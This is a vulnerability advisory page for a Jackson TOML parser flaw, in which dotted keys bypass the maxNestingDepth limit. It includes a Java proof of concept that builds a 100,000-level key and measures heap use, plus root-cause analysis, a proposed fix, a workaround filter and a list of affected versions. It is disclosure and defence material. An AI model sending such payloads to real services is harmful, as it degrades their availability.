Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-85278
Published:September 04, 2026
Updated:October 21, 2026
Summary "StreamReadConstraints.maxNestingDepth()" is enforced by the YAML and Properties modules when processing nested path structures, but is completely ignored by the TOML module for dotted-key syntax ("a.b.c.d = "value""). The three modules behave as follows with "maxNestingDepth=3" (measured directly): | Module | Equivalent deep path syntax | depth=4 | depth=5 | depth=100K | |--------|----------------------------|---------|---------|------------| | YAML | "a:\n b:\n c:\n d: value" | BLOCKED | BLOCKED | BLOCKED | | Properties | "a.b.c.d=value" | PARSED | BLOCKED | BLOCKED | | TOML | "a.b.c.d = "value"" | PARSED | PARSED | PARSED | YAML enforces the limit precisely (blocks at the configured depth). Properties enforces it with a one-level offset (root node not counted; blocks at "maxNestingDepth + 2"). TOML does not enforce it at all — no depth, however large, is rejected via the dotted-key path. A developer who configures "maxNestingDepth" and uses multiple Jackson text-format modules would reasonably expect at minimum some depth limiting for TOML. TOML's complete non-enforcement is uniquely inconsistent with the behaviour of both other modules. Important scope note: "maxNestingDepth"'s JavaDoc states it is "a count of objects and arrays that have not been closed, "{" and "[" respectively." Dotted keys ("a.b.c") are not "{" or "[" tokens; the TOML module's behaviour is therefore consistent with that narrow definition. This advisory argues that the cross-module inconsistency — where Properties and YAML do enforce equivalent path depth, while TOML does not — creates a misleading security posture for developers who rely on this constraint across formats. --- ### Details ## Root Cause The YAML and Properties parsers validate depth during their respective streaming token emission. The TOML module follows a different architecture: it parses the entire document into an "ObjectNode" tree first, then wraps it in a "TreeTraversingParser". Depth validation for structural tokens ("{", "[") occurs in the JFlex lexer during this first phase. However, "parseAndEnterKey()" — the method that processes dot-separated key segments — runs in this same first phase without any depth check: "java // TomlParser.java:137-195 — actual source (3.2.1) private FieldRef parseAndEnterKey( TomlObjectNode outer, boolean forTable ) throws IOException { TomlObjectNode node = outer; while (true) { // ... read key part token ... pollExpected(TomlToken.DOT_SEP, Lexer.EXPECT_INLINE_KEY); JsonNode existing = node.get(part); if (existing == null) { node = (TomlObjectNode) node.putObject(part); // ← creates nested ObjectNode, NO depth check } // ... continues looping ... } } " The Lexer tracks "nestingDepth" for structural tokens ("{StdTableOpen}", "{ArrayOpen}", "{InlineTableOpen}") and exposes "getNestingDepth()" at line 60 of "toml.jflex". The "{DotSep}" token at line 305 does not increment this counter. "parseAndEnterKey()" never queries "getNestingDepth()". Contrast with how other structural tokens are handled — depth IS incremented here: "java // toml.jflex lines 284/288/382/386 — structural tokens DO validate: {StdTableOpen} → streamReadConstraints.validateNestingDepth(++nestingDepth); {ArrayOpen} → streamReadConstraints.validateNestingDepth(++nestingDepth); {InlineTableOpen} → streamReadConstraints.validateNestingDepth(++nestingDepth); // toml.jflex line 305 — DOT_SEP does NOT: {DotSep} { return TomlToken.DOT_SEP; } " --- ## Relationship to CVE-2023-3894 CVE-2023-3894 (fixed in 2.15.0) addressed a call-stack exhaustion caused by recursive parsing of deeply nested "{inline table}" syntax. The fix added "validateNestingDepth(++nestingDepth)" for "{", "[", and "[[" structural tokens. This advisory describes a different and separate issue: | | CVE-2023-3894 | This advisory | |---|---|---| | Syntax | "a={a={a={...}}}" | "a.b.c.d...z = "v"" | | Mechanism | Mutual recursion ("parseValue" → "parseInlineTable" → "parseValue" → ...) | Iterative "while" loop in "parseAndEnterKey" | | Failure | "StackOverflowError" — JVM crash, unrecoverable | Parser completes normally; ~300× memory amplification | | CWE | CWE-674 (Uncontrolled Recursion) | CWE-770 (Resource consumption) | | Fixed by | CVE-2023-3894 patch (2.15.0) | Not fixed in any version | The CVE-2023-3894 fix was correct and complete for its stated purpose. Dotted keys are not recursive and were not part of that fix's scope. --- ### PoC ## Reproduction Environment | Item | Value | |------|-------| | Java | OpenJDK 25.0.2 | | jackson-dataformat-toml | 3.2.1 | | OS | macOS 26.5 (darwin aarch64) | | Build tool | Apache Maven 3.9.16 | --- ## Proof of Concept ### POC Source Code "java import tools.jackson.core.StreamReadConstraints; import tools.jackson.dataformat.toml.TomlFactory; import tools.jackson.dataformat.toml.TomlMapper; import tools.jackson.dataformat.yaml.YAMLFactory; import tools.jackson.dataformat.yaml.YAMLMapper; import tools.jackson.dataformat.javaprop.JavaPropsFactory; import tools.jackson.dataformat.javaprop.JavaPropsMapper; import tools.jackson.databind.JsonNode; public class TomlDottedKeysBypassPOC { public static void main(String[] args) throws Exception { System.out.println("=== Cross-module maxNestingDepth consistency test ==="); System.out.println("Environment: jackson-dataformats-text 3.2.1, Java " + System.getProperty("java.version")); System.out.println(); StreamReadConstraints sc = StreamReadConstraints.builder() .maxNestingDepth(3).build(); // --- Test 1: YAML 4-level nested mapping (maxDepth=3) --- System.out.println("--- Test 1: YAML 4-level nested mapping with maxNestingDepth=3 ---"); YAMLMapper ym = YAMLMapper.builder( YAMLFactory.builder().streamReadConstraints(sc).build()).build(); String yaml4 = "a:\n b:\n c:\n d: value\n"; try { ym.readTree(yaml4); System.out.println(" Result: PARSED"); } catch (Exception e) { System.out.println(" Result: BLOCKED — " + e.getMessage().substring(0, 70)); } // --- Test 2: Properties 4-level dotted path (maxDepth=3) --- System.out.println("--- Test 2: Properties 'a.b.c.d=value' (4 levels) with maxNestingDepth=3 ---"); JavaPropsMapper pm = new JavaPropsMapper( JavaPropsFactory.builder().streamReadConstraints(sc).build()); try { pm.readTree("a.b.c.d=value\n"); System.out.println(" Result: PARSED"); } catch (Exception e) { System.out.println(" Result: BLOCKED — " + e.getMessage().substring(0, 70)); } // --- Test 3: TOML 4-level dotted key (maxDepth=3) --- System.out.println("--- Test 3: TOML 'a.a.a.a = value' (4 levels) with maxNestingDepth=3 ---"); TomlMapper tm = TomlMapper.builder( TomlFactory.builder().streamReadConstraints(sc).build()).build(); try { JsonNode tree = tm.readTree("a.a.a.a = \"value\""); int depth = measureDepth(tree); System.out.println(" Result: PARSED — actual tree depth=" + depth + ", configured limit=" + sc.getMaxNestingDepth() + ", depth>limit: " + (depth > sc.getMaxNestingDepth())); } catch (Exception e) { System.out.println(" Result: BLOCKED — " + e.getMessage().substring(0, 70)); } System.out.println(); // --- Test 4: Default config, TOML with 100K levels --- System.out.println("--- Test 4: TOML 100,000-level dotted key with DEFAULT config ---"); System.out.println(" (Default maxNestingDepth = " + StreamReadConstraints.defaults().getMaxNestingDepth() + ")"); TomlMapper defaultMapper = new TomlMapper(); StringBuilder key = new StringBuilder("a"); for (int i = 1; i < 100_000; i++) key.append(".b"); System.gc(); Thread.sleep(300); long m0 = Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory(); JsonNode tree = defaultMapper.readTree(key + " = \"x\""); long memMB = (Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory() - m0) / 1024 / 1024; System.out.println(" Result: PARSED — depth=" + measureDepth2(tree) + ", heap allocated=~" + memMB + " MB"); System.out.println(); // --- Test 5: GC confirms memory is real ObjectNode tree --- System.out.println("--- Test 5: Memory reclaim confirms allocation is ObjectNode tree ---"); System.gc(); Thread.sleep(300); long mBefore = Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory(); StringBuilder k2 = new StringBuilder("a"); for (int i = 1; i < 100_000; i++) k2.append(".b"); JsonNode t = defaultMapper.readTree(k2 + " = \"x\""); long mAfterParse = Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory(); t = null; System.gc(); Thread.sleep(300); long mAfterGC = Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory(); long alloc = mAfterParse - mBefore; long reclaimed = mAfterParse - mAfterGC; System.out.printf(" Before: %d MB | After parse: %d MB (+%d MB) | After GC: %d MB" + " (%.0f%% reclaimed)%n", mBefore / 1024 / 1024, mAfterParse / 1024 / 1024, alloc / 1024 / 1024, mAfterGC / 1024 / 1024, alloc > 0 ? 100.0 * reclaimed / alloc : 0); } // Traverses "a" -> "a" -> ... chain (for all-same-key payloads) static int measureDepth(JsonNode node) { int d = 0; JsonNode cur = node; while (cur != null && cur.isObject() && cur.has("a")) { cur = cur.get("a"); d++; } return d; } // Traverses "a" -> "b" -> ... chain (for alternating-key payloads, Jackson 3.x compatible) static int measureDepth2(JsonNode node) { int d = 0; JsonNode cur = node; while (cur != null && cur.isObject() && cur.size() > 0) { // properties() replaces fields()/fieldNames() in Jackson 3.x java.util.Iterator<java.util.Map.Entry<String, JsonNode>> it = cur.properties().iterator(); if (!it.hasNext()) break; cur = it.next().getValue(); d++; } return d; } } " ### Actual Execution Evidence "=== Cross-module maxNestingDepth consistency test === Environment: jackson-dataformats-text 3.2.1, Java 25.0.2 --- Test 1: YAML 4-level nested mapping with maxNestingDepth=3 --- Result: BLOCKED — Document nesting depth (4) exceeds the maximum allowed (3, from `StreamR --- Test 2: Properties 'a.b.c.d=value' (4 levels) with maxNestingDepth=3 --- Result: PARSED --- Test 3: TOML 'a.a.a.a = value' (4 levels) with maxNestingDepth=3 --- Result: PARSED — actual tree depth=4, configured limit=3, depth>limit: true --- Test 4: TOML 100,000-level dotted key with DEFAULT config --- (Default maxNestingDepth = 500) Result: PARSED — depth=100000, heap allocated=~61 MB --- Test 5: Memory reclaim confirms allocation is ObjectNode tree --- Before: 3 MB | After parse: 61 MB (+58 MB) | After GC: 3 MB (100% reclaimed)" ### Analysis of Results Test 1: YAML blocks a 4-level nested mapping when "maxNestingDepth=3". This is the expected, correct behaviour. Test 2: Properties parses "a.b.c.d=value" (4 levels) with "maxNestingDepth=3". This is because Properties counts the root node differently — it blocks at "maxNestingDepth + 2" (i.e., 5-level paths are blocked with this setting). Properties provides partial enforcement, not precise enforcement. Test 3: TOML parses "a.a.a.a" (4 levels, all same key name) with "maxNestingDepth=3", returning a tree of confirmed depth 4 that exceeds the configured limit. Unlike YAML and Properties, TOML enforces no limit at all for dotted-key depth — the constraint is completely ignored regardless of the configured value. Test 4: With default configuration, a 100,000-level dotted key parses without error and allocates ~61 MB of heap. Test 5: 58 MB allocated; ~100% reclaimed after GC, confirming the heap cost is the "ObjectNode" chain from "parseAndEnterKey()", not parser-internal buffers. ### Measurement Note Memory figures use "System.gc()" with a 300 ms pause (consistent before and after). Baseline drift across 5 no-parse runs is 0 KB. The 100K-level figure (~60 MB) has <2% variance across repeated measurements at this scale. --- ## Attack Scenario This issue is exploitable only when "TomlMapper" is used to parse input from an external, untrusted source. In the Java ecosystem, TOML is primarily used for administrator-controlled configuration files; that use case is not remotely exploitable. Applicable scenarios include TOML file upload endpoints, REST APIs explicitly configured to accept "application/toml", and multi-tenant configuration services. A developer who has secured their application with a conservative "maxNestingDepth" setting (e.g., after reading about CVE-2023-3894) and uses multiple Jackson text-format modules will have that protection silently missing for TOML inputs. Example: an application parses configuration in both YAML and TOML format, configured with "maxNestingDepth=50": "java // Developer believes this protects both parsers equally StreamReadConstraints sc = StreamReadConstraints.builder().maxNestingDepth(50).build(); YAMLMapper yamlMapper = YAMLMapper.builder(YAMLFactory.builder().streamReadConstraints(sc).build()).build(); TomlMapper tomlMapper = TomlMapper.builder(TomlFactory.builder().streamReadConstraints(sc).build()).build(); // YAML: deeply nested input -> blocked (correct) // TOML: deeply nested dotted key -> NOT blocked (inconsistent) tomlMapper.readTree(maliciousToml); // 100K levels -> ~60 MB heap, no exception " Memory impact (100K levels confirmed stable, 300K from separate measurement): | Input | Heap allocated | Parse result | |-------|----------------|--------------| | 195 KB TOML (100K levels) | ~60 MB | PARSED — no exception | | 585 KB TOML (300K levels) | ~222 MB† | PARSED — no exception | †300K figure from separate measurement: 600,005 bytes input → 227,605 KB allocated. --- ### Impact The primary issue is TOML's complete non-enforcement of "maxNestingDepth" for dotted keys, uniquely inconsistent with both other modules. YAML enforces the limit precisely; Properties enforces it approximately (blocking at "maxNestingDepth + 2"); TOML does not enforce it at all. A developer who configures this constraint expecting it to apply to all text-format modules is silently unprotected for TOML input. Secondary: the unlimited "ObjectNode" chain creation consumes ~600 bytes per nesting level. At 100,000 levels, this is ~60 MB per request. Under concurrent load from crafted inputs, this can contribute to heap pressure. The parser completes normally (no crash), but the memory is only reclaimed when the returned "JsonNode" is released. This is distinct from CVE-2023-3894's crash behaviour. The parser does not crash; the application continues to function after each such request. The risk is heap exhaustion under sustained load rather than immediate denial of service. --- ## Remediation ### Recommended Fix Add dot-depth tracking in "parseAndEnterKey()" using the Lexer's existing "getNestingDepth()" accessor: "java // TomlParser.java — proposed fix private FieldRef parseAndEnterKey( TomlObjectNode outer, boolean forTable ) throws IOException { TomlObjectNode node = outer; int dotDepth = 0; while (true) { if (node.closed) { throw errorContext.atPosition(lexer).generic("Object already closed"); } TomlToken partToken = peek(); String part; if (partToken == TomlToken.STRING) { part = lexer.textBuffer.contentsAsString(); } else if (partToken == TomlToken.UNQUOTED_KEY) { part = lexer.yytext(); } else { throw errorContext.atPosition(lexer).unexpectedToken(partToken, "quoted or unquoted key"); } pollExpected(partToken, Lexer.EXPECT_INLINE_KEY); if (peek() != TomlToken.DOT_SEP) { return new FieldRef(node, part); } pollExpected(TomlToken.DOT_SEP, Lexer.EXPECT_INLINE_KEY); // Enforce maxNestingDepth for dotted key segments tomlFactory.streamReadConstraints() .validateNestingDepth(lexer.getNestingDepth() + ++dotDepth); JsonNode existing = node.get(part); if (existing == null) { node = (TomlObjectNode) node.putObject(part); if (!forTable) { node.defined = true; } } else if (existing.isObject()) { node = (TomlObjectNode) existing; } else { throw errorContext.atPosition(lexer).generic( "Cannot redefine existing key as table: " + part); } } } " ### Workaround For applications accepting user-submitted TOML, add a pre-filter: "java private static final int MAX_DOT_DEPTH = 50; public static void rejectDeepDottedKeys(String toml) { for (String line : toml.split("\n")) { String trimmed = line.trim(); if (trimmed.startsWith("[") || trimmed.startsWith("#") || !trimmed.contains("=")) continue; String keyPart = trimmed.substring(0, trimmed.indexOf('=')); long dots = keyPart.chars().filter(c -> c == '.').count(); if (dots >= MAX_DOT_DEPTH) { throw new IllegalArgumentException( "TOML dotted key depth " + dots + " exceeds limit " + MAX_DOT_DEPTH); } } } " --- ## References - Affected source: "toml/src/main/java/tools/jackson/dataformat/toml/TomlParser.java" lines 137-195 - Lexer: "toml/src/main/jflex/tools/jackson/dataformat/toml/toml.jflex" lines 35, 60, 284, 288, 305, 382, 386 - "StreamReadConstraints.maxNestingDepth()" JavaDoc: "The depth is a count of objects and arrays that have not been closed, "{" and "[" respectively." - CWE-770: https://cwe.mitre.org/data/definitions/770.html - CVE-2023-3894 (related, different mechanism): https://nvd.nist.gov/vuln/detail/CVE-2023-3894 - CVE-2023-3894 fix PR: https://github.com/FasterXML/jackson-dataformats-text/pull/398
Affected Packages
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-3.2.0 <jackson-dataformats-text-3.2.2
Fix Suggestion:
Update to version jackson-dataformats-text-3.2.2
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-2.22.0 <jackson-dataformats-text-2.22.2
Fix Suggestion:
Update to version jackson-dataformats-text-2.22.2
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-3.0.0 <jackson-dataformats-text-3.1.6
Fix Suggestion:
Update to version jackson-dataformats-text-3.1.6
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-2.19.0 <jackson-dataformats-text-2.21.6
Fix Suggestion:
Update to version jackson-dataformats-text-2.21.6
https://github.com/FasterXML/jackson-dataformats-text.git (GITHUB):
Affected version(s) >=jackson-dataformats-text-2.15.0 <jackson-dataformats-text-2.18.10
Fix Suggestion:
Update to version jackson-dataformats-text-2.18.10
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.19.0 <2.21.6
Fix Suggestion:
Update to version 2.21.6
tools.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=3.2.0 <3.2.2
Fix Suggestion:
Update to version 3.2.2
tools.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=3.0.0 <3.1.6
Fix Suggestion:
Update to version 3.1.6
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.19.1 <2.21.6
Fix Suggestion:
Update to version 2.21.6
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.14.0 <2.14.3-jackson-dataformats-text-2.14.8
Fix Suggestion:
Update to version 2.14.3-jackson-dataformats-text-2.14.8
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.15.0 <2.18.10
Fix Suggestion:
Update to version 2.18.10
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.22.0 <2.22.2
Fix Suggestion:
Update to version 2.22.2
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.15.0 <2.15.4-jackson-dataformats-text-2.15.9
Fix Suggestion:
Update to version 2.15.4-jackson-dataformats-text-2.15.9
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.15.1 <2.18.10
Fix Suggestion:
Update to version 2.18.10
tools.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=3.0.1 <3.1.6
Fix Suggestion:
Update to version 3.1.6
com.fasterxml.jackson.dataformat:jackson-dataformat-toml (JAVA):
Affected version(s) >=2.13.0 <2.13.5-jackson-dataformats-text-2.13.11
Fix Suggestion:
Update to version 2.13.5-jackson-dataformats-text-2.13.11
Do you need more information?
Contact Us
CVSS v4
Base Score:
6.9
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
LOW
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
LOW
Weakness Type (CWE)
Allocation of Resources Without Limits or Throttling